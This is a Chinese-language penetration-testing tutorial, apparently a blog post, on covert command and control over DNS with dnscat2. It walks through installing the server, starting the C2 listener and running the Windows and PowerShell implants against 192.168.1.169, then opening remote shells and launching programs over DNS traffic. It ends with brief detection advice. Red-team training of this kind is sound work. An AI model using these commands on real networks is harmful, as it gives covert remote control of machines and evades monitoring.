【基础篇】————5、隐匿攻击之DNS

隐匿攻击之DNS

即使在最受限制的环境中,也应该允许DNS流量解析内部或外部域。这可以用作目标主机和命令和控制服务器之间的通信通道。命令和数据包含在DNS查询和响应中,因此很难检测,因为任意命令隐藏在合法流量中。

使用Dnscat2可以实现这种技术,Dnscat2可以通过DNS协议创建命令和控制通道。此工具使用基于C的客户端(植入),它需要在目标上执行,以便服务器接收连接。流量以加密形式传输,并且还支持通过预共享秘密进行身份验证。

通过以下命令从Kali Linux 2.0计算机上轻松安装此工具。

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
bundle install

可以使用以下命令启动命令和控制服务器。

ruby dnscat2.rb --dns "domain=pentestlab,host=192.168.1.169" --no-cache

可以从此处直接下载用于Windows系统的客户端(植入)的编译版本。从目标的命令提示符开始,唯一的要求是指定DNS服务器以便与C2(命令和控制)服务器建立连接。

dnscat2-v0.07-client-win32.exe --dns server=192.168.1.169

从Dnscat2开始,红队可以开始与已创建的现有会话进行交互:

session -i 1

通过执行“ help ”,可以检索可用的命令列表:

dnscat2的部分功能是上传和下载文件,执行其他程序以及获取远程shell。

使用“ shell ”命令可以轻松获取shell,这将打开另一个会话:

以下输出将出现在目标的命令提示符上:

shell将是交互式和快速的,所有命令将通过DNS流量传输:

通过调用可执行文件可以远程启动另一个程序:

exec notepad.exe

Luke Baggett开发了一种PowerShell版植入物,已在blackhillsinfosec网站上介绍和描述。这些命令是相同的,但添加了其他功能,如交互式PowerShell会话和直接从内存运行脚本的功能。

需要从目标上的PowerShell会话执行以下命令:

PS C:\> start-Dnscat2 -Domain pentestlab -DNSServer 192.168.1.169

也可以通过运行以下命令来建立直接的PowerShell会话:

exec psh

之后将创建一个能够执行PowerShell命令和脚本的新控制台:

小结

使用dnscat2对DNS进行命令和控制有各种优点。他们之中有一些是:

  • 支持多个会话
  • 流量加密
  • 使用密钥保护MiTM攻击
  • 直接从内存运行PowerShell脚本
  • 隐匿性较好

由于任意命令在合法DNS流量之后传输的事实很难检测,因此应该强调监视DNS查询的长度并允许主机仅与受信任的DNS服务器通信。

参考

 

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值